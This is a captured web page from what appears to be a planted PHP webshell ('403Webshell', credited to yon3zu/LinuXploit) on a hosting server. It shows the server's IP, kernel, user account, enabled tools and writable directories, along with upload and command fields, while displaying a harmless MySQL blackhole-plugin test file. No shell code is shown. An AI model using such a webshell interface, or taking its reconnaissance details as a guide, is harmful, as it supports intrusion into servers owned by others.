403Webshell
Server IP : 45.40.142.9  /  Your IP : 216.73.216.250
Web Server : Apache
System : Linux s45-40-142-9.secureserver.net 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : bayspec ( 506)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/mysql-test/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/mysql-test/t/blackhole_plugin.test
--source include/not_windows.inc
--source include/have_blackhole_plugin.inc

# When running in parallel we get
# Warning 1620 Plugin is busy and will be uninstalled on shutdown
--source include/not_parallel.inc

CREATE TABLE t1(a int) ENGINE=BLACKHOLE;
DROP TABLE t1;

eval INSTALL PLUGIN blackhole SONAME 'ha_blackhole.so';
--error 1125
eval INSTALL PLUGIN BLACKHOLE SONAME 'ha_blackhole.so';

UNINSTALL PLUGIN blackhole;

eval INSTALL PLUGIN blackhole SONAME 'ha_blackhole.so';

CREATE TABLE t1(a int) ENGINE=BLACKHOLE;

DROP TABLE t1;

# This dummy statement is required for --ps-protocol mode.
# The thing is that last prepared statement is "cached" in mysqltest.cc
# (unless "reconnect" is enabled, and that's not the case here).
# This statement forces mysqltest.cc to close prepared "DROP TABLE t1".
# Otherwise, the plugin can not be uninstalled because there is an active
# prepared statement using it.
SELECT 1;

UNINSTALL PLUGIN blackhole;
--error ER_SP_DOES_NOT_EXIST
UNINSTALL PLUGIN blackhole;


Youez - 2016 - github.com/yon3zu
LinuXploit